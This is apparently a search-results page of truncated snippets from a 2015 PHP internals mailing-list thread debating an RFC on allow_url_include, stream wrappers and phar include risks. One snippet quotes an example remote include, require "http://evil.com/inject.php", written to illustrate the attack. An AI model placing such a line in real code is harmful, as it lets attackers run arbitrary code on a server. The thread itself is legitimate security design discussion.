Hi Stas,
On Fri, Feb 27, 2015 at 10:50 AM, Stanislav Malyshev
wrote:
> > For this concern, we have 2 classes of wrappers "local" and "remote".
> > php://input and php://stdin would be issue, since it contains "remote"
> > input under Web SAPI while it is "local" with CLI. We may handle
> > php:/
Hi!
> For this concern, we have 2 classes of wrappers "local" and "remote".
> php://input and php://stdin would be issue, since it contains "remote"
> input under Web SAPI while it is "local" with CLI. We may handle
> php://input and php://stdin separately.
php streams are marked with is_url = 0
Hi Stas,
On Fri, Feb 27, 2015 at 7:52 AM, Stanislav Malyshev
wrote:
> including require
> "http://evil.com/inject.php";. That's not a good choice to give to the
> users.
>
For this concern, we have 2 classes of wrappers "local" and "remote".
php://input and php://stdin would be issue, since it
Hi Stas,
On Fri, Feb 27, 2015 at 7:52 AM, Stanislav Malyshev
wrote:
> > SInce allow_url_include change is very simple one, I've just made new RFC
> > for it.
> >
> > https://wiki.php.net/rfc/allow_url_include
> >
> > If you find any other issue like this that relates to this RFC, please
> > let
Hi!
> SInce allow_url_include change is very simple one, I've just made new RFC
> for it.
>
> https://wiki.php.net/rfc/allow_url_include
>
> If you find any other issue like this that relates to this RFC, please
> let me know
> I'll put this discussion shortly.
I'm not sure what this RFC is try
Hi Stas,
On Thu, Feb 26, 2015 at 7:01 PM, Yasuo Ohgaki wrote:
> On Thu, Feb 26, 2015 at 5:51 PM, Stanislav Malyshev
> wrote:
>
>> > This can be prevented by restricting phar archive name or forbid all
>> > URI name at all. The latter is better choice.
>>
>> If by "all uri" you mean all streams,
Hi Stas,
I'm on the side wishes PHP being more secure.
I think you are on the same side. Let's be productive for the objective :)
On Thu, Feb 26, 2015 at 5:51 PM, Stanislav Malyshev
wrote:
> > This can be prevented by restricting phar archive name or forbid all
> > URI name at all. The latter i
Hi Yasuo,
On 26 February 2015 at 08:51, Stanislav Malyshev wrote:
> Hi!
>
>> This can be prevented by restricting phar archive name or forbid all
>> URI name at all. The latter is better choice.
>
> If by "all uri" you mean all streams, that would be very high burden,
> which may break many appli
Hi!
> This can be prevented by restricting phar archive name or forbid all
> URI name at all. The latter is better choice.
If by "all uri" you mean all streams, that would be very high burden,
which may break many applications using streams, including phar handling.
> There is design problem obv
Hi Stas,
On Thu, Feb 26, 2015 at 10:48 AM, Yasuo Ohgaki wrote:
> I think you mean I ignored this. Let's discuss it.
>
>
> > They'd need to upload with a matching file type. Instead of any file
>
> Not sure what you mean by that. phar can read tars, et
Hi Stas and Padraic,
On Thu, Feb 26, 2015 at 9:40 AM, Pádraic Brady
wrote:
> On 25 February 2015 at 23:26, Stanislav Malyshev
> wrote:
> > else I can say, provided that what I already said - including
> > demonstrating trivial workarounds that allow to circumvent this feature
> > with extreme e
On Wed, Feb 25, 2015 at 4:40 PM, Pádraic Brady wrote:
> Stanislav,
>
> On 25 February 2015 at 23:26, Stanislav Malyshev wrote:
>> else I can say, provided that what I already said - including
>> demonstrating trivial workarounds that allow to circumvent this feature
>> with extreme ease - had no
Hi Stas,
I think you mean I ignored this. Let's discuss it.
> They'd need to upload with a matching file type. Instead of any file
Not sure what you mean by that. phar can read tars, etc. AFAIK, can't
it? Also, phar archive has no requirement of being
Stanislav,
On 25 February 2015 at 23:26, Stanislav Malyshev wrote:
> else I can say, provided that what I already said - including
> demonstrating trivial workarounds that allow to circumvent this feature
> with extreme ease - had no effect.
You keep bringing that up. I keep having to correct yo
Hi Jan,
On Thu, Feb 26, 2015 at 8:30 AM, Jan Ehrhardt wrote:
> Jordi Boggiano in php.internals (Wed, 25 Feb 2015 23:09:40 +):
> >On 25/02/2015 22:46, Stanislav Malyshev wrote:
> >> 2. I think this RFC provides false sense of security for people that
> >> create vulnerable code and lets them
Hi Stas,
On Thu, Feb 26, 2015 at 8:26 AM, Stanislav Malyshev
wrote:
> Padraic, I'm not really interested in another prolonged discussion,
> especially where my arguments are ignored or misconstrued and then
> dismissed. I have explained my opinion, if somebody has questions about
> the substance
Jordi Boggiano in php.internals (Wed, 25 Feb 2015 23:09:40 +):
>On 25/02/2015 22:46, Stanislav Malyshev wrote:
>> 2. I think this RFC provides false sense of security for people that
>> create vulnerable code and lets them think it's OK to have variable
>> includes without adequate safety, sinc
Hi!
Padraic, I'm not really interested in another prolonged discussion,
especially where my arguments are ignored or misconstrued and then
dismissed. I have explained my opinion, if somebody has questions about
the substance of my arguments or need me to clarify my points, rather
than flat-out den
Hi Jordi,
On 25 February 2015 at 23:09, Jordi Boggiano wrote:
> On 25/02/2015 22:46, Stanislav Malyshev wrote:
>>
>> 2. I think this RFC provides false sense of security for people that
>> create vulnerable code and lets them think it's OK to have variable
>> includes without adequate safety, sin
On 25/02/2015 22:46, Stanislav Malyshev wrote:
2. I think this RFC provides false sense of security for people that
create vulnerable code and lets them think it's OK to have variable
includes without adequate safety, since they are "protected" by these
changes.
People that are clueless already
Hi Stanislav,
On 25 February 2015 at 22:46, Stanislav Malyshev wrote:
> Hi!
>
>> I saw you voted "no".
>> Could you share us the reason behind?
>
> I think I did, in my past messages to the list, but maybe I was not
> clear. I will repeat in short:
>
> 1. I think this RFC does not provide any sec
21 matches
Mail list logo
